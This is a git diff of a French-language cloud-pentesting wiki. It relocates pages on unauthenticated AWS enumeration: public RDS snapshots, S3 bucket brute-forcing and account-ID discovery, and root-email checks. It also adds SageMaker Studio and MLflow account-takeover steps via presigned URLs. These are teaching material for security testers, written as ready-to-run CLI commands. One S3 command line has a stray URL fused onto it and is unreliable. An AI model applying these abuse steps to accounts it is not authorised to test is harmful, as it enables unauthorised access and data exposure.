a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md @@ -1,22 +1,22 @@ -# AWS - RDS Enum non authentifié +# AWS - RDS Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## RDS Pour plus d'informations, consultez : {{#ref}} -../aws-services/aws-relational-database-rds-enum.md +../../aws-services/aws-relational-database-rds-enum.md {{#endref}} -## Port Public +## Port public -Il est possible de donner un accès public à la **base de données depuis Internet**. L'attaquant devra toujours **connaître le nom d'utilisateur et le mot de passe,** l'accès IAM, ou un **exploit** pour entrer dans la base de données. +Il est possible d'accorder un accès public à la **base de données depuis Internet**. L'attaquant devra cependant **connaître le nom d'utilisateur et le mot de passe**, disposer d'un accès IAM, ou d'un **exploit** pour entrer dans la base de données. -## Instantanés RDS Publics +## Snapshots RDS publics -AWS permet de donner **accès à quiconque pour télécharger des instantanés RDS**. Vous pouvez lister ces instantanés RDS publics très facilement depuis votre propre compte : +AWS permet d'accorder **l'accès à n'importe qui pour télécharger des snapshots RDS**. Vous pouvez lister ces snapshots RDS publics très facilement depuis votre propre compte: ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public @@ -37,4 +37,4 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2] mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md deleted file mode 100644 index f5c90619b..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Redshift Enum non authentifié - -{{#include ../../../banners/hacktricks-training.md}} - -### Modèle d'URL public -``` -{user_provided}...redshift.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md new file mode 100644 index 000000000..519d043a2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md @@ -0,0 +1,9 @@ +# AWS - Redshift Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Modèle d'URL publique +``` +{user_provided}...redshift.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md deleted file mode 100644 index 243b7177e..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ /dev/null @@ -1,194 +0,0 @@ -# AWS - S3 Enum non authentifié - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 Buckets Publics - -Un bucket est considéré comme **“public”** si **tout utilisateur peut lister le contenu** du bucket, et **“privé”** si le contenu du bucket peut **être listé ou écrit uniquement par certains utilisateurs**. - -Les entreprises peuvent avoir des **permissions de buckets mal configurées** donnant accès soit à tout, soit à tous les utilisateurs authentifiés dans AWS dans n'importe quel compte (donc à quiconque). Notez que même avec de telles mauvaises configurations, certaines actions peuvent ne pas être possibles car les buckets peuvent avoir leurs propres listes de contrôle d'accès (ACL). - -**En savoir plus sur la mauvaise configuration d'AWS-S3 ici :** [**http://flaws.cloud**](http://flaws.cloud/) **et** [**http://flaws2.cloud/**](http://flaws2.cloud) - -### Trouver des Buckets AWS - -Différentes méthodes pour trouver quand une page web utilise AWS pour stocker certaines ressources : - -#### Énumération & OSINT : - -- Utiliser le plugin de navigateur **wappalyzer** -- Utiliser burp (**spidering** le web) ou en naviguant manuellement à travers la page, toutes les **ressources** **chargées** seront sauvegardées dans l'historique. -- **Vérifiez les ressources** dans des domaines comme : - -``` -http://s3.amazonaws.com/[bucket_name]/ -http://[bucket_name].s3.amazonaws.com/ -``` - -- Vérifiez les **CNAMES** car `resources.domain.com` pourrait avoir le CNAME `bucket.s3.amazonaws.com` -- **[s3dns](https://github.com/olizimmermann/s3dns)** – Un serveur DNS léger qui identifie passivement les buckets de stockage cloud (S3, GCP, Azure) en analysant le trafic DNS. Il détecte les CNAMEs, suit les chaînes de résolution et correspond aux modèles de buckets, offrant une alternative discrète à la découverte par force brute ou basée sur API. Parfait pour les workflows de reconnaissance et OSINT. -- Vérifiez [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), un site avec déjà des **buckets ouverts découverts**. -- Le **nom du bucket** et le **nom de domaine du bucket** doivent être **les mêmes.** -- **flaws.cloud** est dans **IP** 52.92.181.107 et si vous y allez, cela vous redirige vers [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). De plus, `dig -x 52.92.181.107` donne `s3-website-us-west-2.amazonaws.com`. -- Pour vérifier qu'il s'agit d'un bucket, vous pouvez également **visiter** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). - -#### Force Brute - -Vous pouvez trouver des buckets en **forçant les noms** liés à l'entreprise que vous testez : - -- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) -- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) -- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contient une liste avec des noms de buckets potentiels) -- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) -- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) -- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) -- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3) -- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) -- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) - -
# Générer une liste de mots pour créer des permutations
-curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
-curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
-cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
-
-# Générer une liste de mots basée sur les domaines et sous-domaines à tester
-## Écrire ces domaines et sous-domaines dans subdomains.txt
-cat subdomains.txt > /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
-
-# Créer des permutations basées sur une liste avec les domaines et sous-domaines à attaquer
-goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## L'outil précédent est spécialisé dans la création de permutations pour les sous-domaines, filtrons cette liste
-### Supprimer les lignes se terminant par "."
-cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### Créer une liste sans TLD
-cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### Créer une liste sans points
-cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### Créer une liste sans tirets
-cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
-
-## Générer la liste de mots finale
-cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
-
-## Appeler s3scanner
-s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
-
- -#### Loot S3 Buckets - -Étant donné des buckets S3 ouverts, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) peut automatiquement **chercher des informations intéressantes**. - -### Trouver la Région - -Vous pouvez trouver toutes les régions prises en charge par AWS dans [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) - -#### Par DNS - -Vous pouvez obtenir la région d'un bucket avec un **`dig`** et **`nslookup`** en effectuant une **demande DNS de l'IP découverte** : -```bash -dig flaws.cloud -;; ANSWER SECTION: -flaws.cloud. 5 IN A 52.218.192.11 - -nslookup 52.218.192.11 -Non-authoritative answer: -11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. -``` -Vérifiez que le domaine résolu contient le mot "website".\ -Vous pouvez accéder au site web statique en allant sur : `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -ou vous pouvez accéder au bucket en visitant : `flaws.cloud.s3-us-west-2.amazonaws.com` - - - -#### En essayant - -Si vous essayez d'accéder à un bucket, mais dans le **nom de domaine vous spécifiez une autre région** (par exemple, le bucket est dans `bucket.s3.amazonaws.com` mais vous essayez d'accéder à `bucket.s3-website-us-west-2.amazonaws.com`, alors vous serez **indiqué vers l'emplacement correct** : - -![](<../../../images/image (106).png>) - -### Énumération du bucket - -Pour tester l'ouverture du bucket, un utilisateur peut simplement entrer l'URL dans son navigateur web. Un bucket privé répondra par "Accès refusé". Un bucket public listera les 1 000 premiers objets qui ont été stockés. - -Ouvert à tous : - -![](<../../../images/image (201).png>) - -Privé : - -![](<../../../images/image (83).png>) - -Vous pouvez également vérifier cela avec le cli : -```bash -#Use --no-sign-request for check Everyones permissions -#Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions -#--recursive if you want list recursivelyls -#Opcionally you can select the region if you now it -aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] -``` -Si le bucket n'a pas de nom de domaine, lors de la tentative de l'énumérer, **mettez uniquement le nom du bucket** et non l'ensemble du domaine AWSs3. Exemple : `s3://` - -### Modèle d'URL publique -``` -https://{user_provided}.s3.amazonaws.com -``` -### Obtenir l'ID de compte à partir d'un Bucket public - -Il est possible de déterminer un compte AWS en tirant parti de la nouvelle **`S3:ResourceAccount`** **clé de condition de politique**. Cette condition **restreint l'accès en fonction du bucket S3** dans lequel se trouve un compte (d'autres politiques basées sur le compte restreignent en fonction du compte dans lequel se trouve le principal demandeur).\ -Et parce que la politique peut contenir des **caractères génériques**, il est possible de trouver le numéro de compte **un chiffre à la fois**. - -Cet outil automatise le processus : -```bash -# Installation -pipx install s3-account-search -pip install s3-account-search -# With a bucket -s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket -# With an object -s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext -``` -Cette technique fonctionne également avec les URL de l'API Gateway, les URL Lambda, les ensembles de données Data Exchange et même pour obtenir la valeur des tags (si vous connaissez la clé du tag). Vous pouvez trouver plus d'informations dans la [**recherche originale**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) et l'outil [**conditional-love**](https://github.com/plerionhq/conditional-love/) pour automatiser cette exploitation. - -### Confirmer qu'un bucket appartient à un compte AWS - -Comme expliqué dans [**cet article de blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, si vous avez les permissions pour lister un bucket**, il est possible de confirmer un accountID auquel le bucket appartient en envoyant une requête comme : -```bash -curl -X GET "[bucketname].amazonaws.com/" \ --H "x-amz-expected-bucket-owner: [correct-account-id]" - - -... -``` -Si l'erreur est un "Accès refusé", cela signifie que l'ID de compte était incorrect. - -### Utilisation des e-mails comme énumération de compte root - -Comme expliqué dans [**cet article de blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), il est possible de vérifier si une adresse e-mail est liée à un compte AWS en **essayant d'accorder des permissions à un e-mail** sur un bucket S3 via des ACL. Si cela ne déclenche pas d'erreur, cela signifie que l'e-mail est un utilisateur root de certains comptes AWS : -```python -s3_client.put_bucket_acl( -Bucket=bucket_name, -AccessControlPolicy={ -'Grants': [ -{ -'Grantee': { -'EmailAddress': 'some@emailtotest.com', -'Type': 'AmazonCustomerByEmail', -}, -'Permission': 'READ' -}, -], -'Owner': { -'DisplayName': 'Whatever', -'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' -} -} -) -``` -## Références - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) -- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md new file mode 100644 index 000000000..dc63d9103 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md @@ -0,0 +1,194 @@ +# AWS - S3 Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 Public Buckets + +Un bucket est considéré **“public”** si **n'importe quel utilisateur peut lister le contenu** du bucket, et **“private”** si le contenu du bucket ne peut **être listé ou écrit que par certains utilisateurs**. + +Les entreprises peuvent avoir des **permissions des buckets mal configurées** donnant accès soit à tout, soit à toute personne authentifiée dans AWS dans n'importe quel compte (donc à n'importe qui). Notez que même avec de telles mauvaises configurations certaines actions peuvent ne pas être réalisables car les buckets peuvent avoir leurs propres listes de contrôle d'accès (ACLs). + +**En savoir plus sur les misconfigurations AWS-S3 ici :** [**http://flaws.cloud**](http://flaws.cloud/) **et** [**http://flaws2.cloud/**](http://flaws2.cloud) + +### Finding AWS Buckets + +Différentes méthodes pour détecter quand une page web utilise AWS pour stocker des ressources : + +#### Enumeration & OSINT: + +- Utiliser le plugin navigateur **wappalyzer** +- En utilisant burp (**spidering** le web) ou en naviguant manuellement sur la page toutes les **ressources** **chargées** seront sauvegardées dans l'History. +- **Vérifier la présence de ressources** dans des domaines tels que : + +``` +http://s3.amazonaws.com/[bucket_name]/ +http://[bucket_name].s3.amazonaws.com/ +``` + +- Vérifier les **CNAMES** car `resources.domain.com` peut avoir le CNAME `bucket.s3.amazonaws.com` +- **[s3dns](https://github.com/olizimmermann/s3dns)** – Un serveur DNS léger qui identifie passivement les cloud storage buckets (S3, GCP, Azure) en analysant le trafic DNS. Il détecte les CNAMEs, suit les chaînes de résolution et matche les motifs de bucket, offrant une alternative tranquille au brute-force ou à la découverte via API. Parfait pour les workflows de recon et OSINT. +- Vérifier [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), un site listant des buckets ouverts déjà découverts. +- Le **bucket name** et le **bucket domain name** doivent être **les mêmes.** +- **flaws.cloud** est à l'**IP** 52.92.181.107 et si vous y allez il redirige vers [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). De plus, `dig -x 52.92.181.107` renvoie `s3-website-us-west-2.amazonaws.com`. +- Pour vérifier que c'est un bucket vous pouvez aussi **visiter** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). + +#### Brute-Force + +Vous pouvez trouver des buckets en **brute-forçant des noms** liés à l'entreprise ciblée lors du pentesting : + +- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) +- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) +- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names) +- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) +- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) +- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) +- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3) +- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) +- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) + +
# Generate a wordlist to create permutations
+curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
+curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
+cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
+
+# Generate a wordlist based on the domains and subdomains to test
+## Write those domains and subdomains in subdomains.txt
+cat subdomains.txt > /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
+
+# Create permutations based in a list with the domains and subdomains to attack
+goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
+## The previous tool is specialized increating permutations for subdomains, lets filter that list
+### Remove lines ending with "."
+cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
+### Create list without TLD
+cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
+### Create list without dots
+cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
+### Create list without hyphens
+cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
+
+## Generate the final wordlist
+cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
+
+## Call s3scanner
+s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
+
+ +#### Loot S3 Buckets + +Pour des buckets S3 ouverts, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) peut automatiquement **chercher des informations intéressantes**. + +### Find the Region + +Vous pouvez trouver toutes les régions supportées par AWS sur [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) + +#### By DNS + +Vous pouvez obtenir la région d'un bucket avec un **`dig`** et **`nslookup`** en faisant une **requête DNS sur l'IP découverte** : +```bash +dig flaws.cloud +;; ANSWER SECTION: +flaws.cloud. 5 IN A 52.218.192.11 + +nslookup 52.218.192.11 +Non-authoritative answer: +11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. +``` +Vérifiez que le domaine résolu contient le mot "website".\ +Vous pouvez accéder au site statique en allant sur : `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ +ou vous pouvez accéder au bucket en visitant : `flaws.cloud.s3-us-west-2.amazonaws.com` + + + +#### En essayant + +Si vous essayez d'accéder à un bucket, mais que dans le **nom de domaine vous spécifiez une autre région** (par exemple le bucket est dans `bucket.s3.amazonaws.com` mais vous essayez d'accéder à `bucket.s3-website-us-west-2.amazonaws.com`), alors il vous sera **indiqué l'emplacement correct** : + +![](<../../../images/image (106).png>) + +### Énumération du bucket + +Pour tester l'ouverture du bucket, un utilisateur peut simplement entrer l'URL dans son navigateur web. Un bucket privé répondra par "Access Denied". Un bucket public listera les 1,000 premiers objets qui ont été stockés. + +Accessible à tous: + +![](<../../../images/image (201).png>) + +Privé: + +![](<../../../images/image (83).png>) + +Vous pouvez aussi vérifier cela avec le cli: +```bash +#Use --no-sign-request for check Everyones permissions +#Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions +#--recursive if you want list recursivelyls +#Opcionally you can select the region if you now it +aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] +``` +Si le bucket n'a pas de nom de domaine, lorsque vous essayez de l'énumérer, **mettez uniquement le nom du bucket** et pas l'intégralité du domaine AWSs3. Exemple : `s3://` + +### Modèle d'URL publique +``` +https://{user_provided}.s3.amazonaws.com +``` +### Obtenir l'ID de compte depuis un Bucket public + +Il est possible de déterminer un compte AWS en tirant parti du nouveau **`S3:ResourceAccount`** **Policy Condition Key**. Cette condition **restreint l'accès en fonction du S3 bucket** dans lequel se trouve un compte (d'autres policies basées sur le compte restreignent en fonction du compte dans lequel se trouve le principal demandant).\ +Et parce que la policy peut contenir des **wildcards**, il est possible de trouver le numéro de compte **un seul chiffre à la fois**. + +Cet outil automatise le processus: +```bash +# Installation +pipx install s3-account-search +pip install s3-account-search +# With a bucket +s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket +# With an object +s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext +``` +Cette technique fonctionne également avec API Gateway URLs, Lambda URLs, Data Exchange data sets et même pour obtenir la valeur des tags (si vous connaissez la clé du tag). Vous pouvez trouver plus d'informations dans le [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) et l'outil [**conditional-love**](https://github.com/plerionhq/conditional-love/) pour automatiser cette exploitation. + +### Confirmer qu'un bucket appartient à un compte AWS + +Comme expliqué dans [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, si vous avez les permissions pour lister un bucket** il est possible de confirmer l'accountID auquel le bucket appartient en envoyant une requête comme : +```bash +curl -X GET "[bucketname].amazonaws.com/" \ +-H "x-amz-expected-bucket-owner: [correct-account-id]" + + +... +``` +If the error is an “Access Denied” it means that the account ID was wrong. + +### Utilisation des e-mails pour l'énumération des comptes root + +Comme expliqué dans [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), il est possible de vérifier si une adresse e-mail est liée à un compte AWS en **essayant d'accorder des permissions à une adresse e-mail** sur un bucket S3 via les ACLs. Si cela ne déclenche pas d'erreur, cela signifie que l'adresse e-mail est un root user d'un compte AWS : +```python +s3_client.put_bucket_acl( +Bucket=bucket_name, +AccessControlPolicy={ +'Grants': [ +{ +'Grantee': { +'EmailAddress': 'some@emailtotest.com', +'Type': 'AmazonCustomerByEmail', +}, +'Permission': 'READ' +}, +], +'Owner': { +'DisplayName': 'Whatever', +'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' +} +} +) +``` +## Références + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) +- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md new file mode 100644 index 000000000..a5cae23e3 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md @@ -0,0 +1,108 @@ +# AWS - SageMaker Accès non autorisé + +{{#include ../../../../banners/hacktricks-training.md}} + +## SageMaker Studio - Prise de contrôle de compte via CreatePresignedDomainUrl (Se faire passer pour n'importe quel UserProfile) + +### Description +Une identité disposant de la permission d'appeler `sagemaker:CreatePresignedDomainUrl` sur un `UserProfile` ciblé de Studio peut générer une URL de connexion qui authentifie directement dans SageMaker Studio en tant que ce profil. Cela accorde au navigateur de l'attaquant une session Studio qui hérite des permissions `ExecutionRole` du profil et l'accès complet au répertoire utilisateur monté sur EFS et aux apps du profil. Aucun `iam:PassRole` ni accès à la console n'est requis. + +### Requirements +- Un SageMaker Studio `Domain` et un `UserProfile` cible à l'intérieur. +- Le principal attaquant doit avoir `sagemaker:CreatePresignedDomainUrl` sur le `UserProfile` cible (au niveau de la ressource) ou `*`. + +Exemple de policy minimal (restreint à un seul UserProfile): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedDomainUrl", +"Resource": "arn:aws:sagemaker:::user-profile//" +} +] +} +``` +### Étapes d'abus + +1) Énumérer un Studio Domain et des UserProfiles que vous pouvez cibler +```bash +DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) +aws sagemaker list-user-profiles --domain-id-equals $DOM +TARGET_USER= +``` +2) Générer une presigned URL (valide ~5 minutes par défaut) +```bash +aws sagemaker create-presigned-domain-url \ +--domain-id $DOM \ +--user-profile-name $TARGET_USER \ +--query AuthorizedUrl --output text +``` +3) Ouvrez l'URL retournée dans un navigateur pour vous connecter à Studio en tant qu'utilisateur cible. Dans un terminal Jupyter à l'intérieur de Studio, vérifiez l'identité effective : +```bash +aws sts get-caller-identity +``` +Notes: +- `--landing-uri` peut être omis. Certaines valeurs (par ex., `app:JupyterLab:/lab`) peuvent être rejetées selon la variante/version de Studio; les valeurs par défaut redirigent généralement vers la page d'accueil de Studio puis vers Jupyter. +- Les politiques d'organisation / les restrictions d'endpoint VPC peuvent toujours bloquer l'accès réseau; la génération du token ne nécessite pas de connexion console ni `iam:PassRole`. + +### Impact +- Mouvement latéral et escalade de privilèges en assumant n'importe quel Studio `UserProfile` dont l'ARN est autorisé, héritant ainsi de son `ExecutionRole` et de son système de fichiers/applications. + +### Preuves (d'un test contrôlé) +- Avec uniquement `sagemaker:CreatePresignedDomainUrl` sur un `UserProfile` cible, le rôle attaquant a renvoyé avec succès un `AuthorizedUrl` comme : +``` +https://studio-d-xxxxxxxxxxxx.studio..sagemaker.aws/auth?token=eyJhbGciOi... +``` +- Une requête HTTP directe répond par une redirection (HTTP 302) vers Studio, confirmant que l'URL est valide et active jusqu'à expiration. + + +## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl + +### Description +Une identité disposant de la permission d'appeler `sagemaker:CreatePresignedMlflowTrackingServerUrl` pour un SageMaker MLflow Tracking Server cible peut générer une URL pré-signée à usage unique qui authentifie directement sur l'interface MLflow gérée de ce serveur. Cela accorde le même accès qu'un utilisateur légitime au serveur (visualiser/créer des expériences et des exécutions, et télécharger/téléverser des artefacts dans le magasin d'artefacts S3 du serveur) sans accès à la console ni `iam:PassRole`. + +### Prérequis +- Un SageMaker MLflow Tracking Server dans le compte/la région, et connaître son nom. +- Le principal attaquant a besoin de `sagemaker:CreatePresignedMlflowTrackingServerUrl` sur la ressource MLflow Tracking Server cible (ou `*`). + +Minimal policy example (scoped to one Tracking Server): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl", +"Resource": "arn:aws:sagemaker:::mlflow-tracking-server/" +} +] +} +``` +### Étapes d'abus + +1) Énumérez les MLflow Tracking Servers que vous pouvez cibler et choisissez un nom +```bash +aws sagemaker list-mlflow-tracking-servers \ +--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' +TS_NAME= +``` +2) Générer une URL MLflow UI pré-signée (valide pendant une courte durée) +```bash +aws sagemaker create-presigned-mlflow-tracking-server-url \ +--tracking-server-name "$TS_NAME" \ +--expires-in-seconds 300 \ +--session-expiration-duration-in-seconds 1800 \ +--query AuthorizedUrl --output text +``` +3) Ouvrez l'URL retournée dans un navigateur pour accéder à l'UI MLflow en tant qu'utilisateur authentifié pour ce Tracking Server. + +Remarques : +- Le Tracking Server doit être dans un état prêt (par ex., `Created/Active`). S'il est encore en `Creating`, l'appel sera rejeté. +- L'URL pré-signée est à usage unique et de courte durée ; générez-en une nouvelle si nécessaire. + +### Impact +- Accès direct à l'UI MLflow gérée pour le Tracking Server ciblé, permettant la consultation et la modification des experiments/runs et la récupération ou le téléversement d'artefacts stockés dans le S3 artifact store configuré du serveur, dans les limites des permissions appliquées par la configuration du serveur. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md deleted file mode 100644 index 0945cee0c..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - SNS Enum non authentifié - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -Pour plus d'informations sur SNS, consultez : - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### Ouvert à Tous - -Lorsque vous configurez un sujet SNS depuis la console web, il est possible d'indiquer que **tout le monde peut publier et s'abonner** au sujet : - -
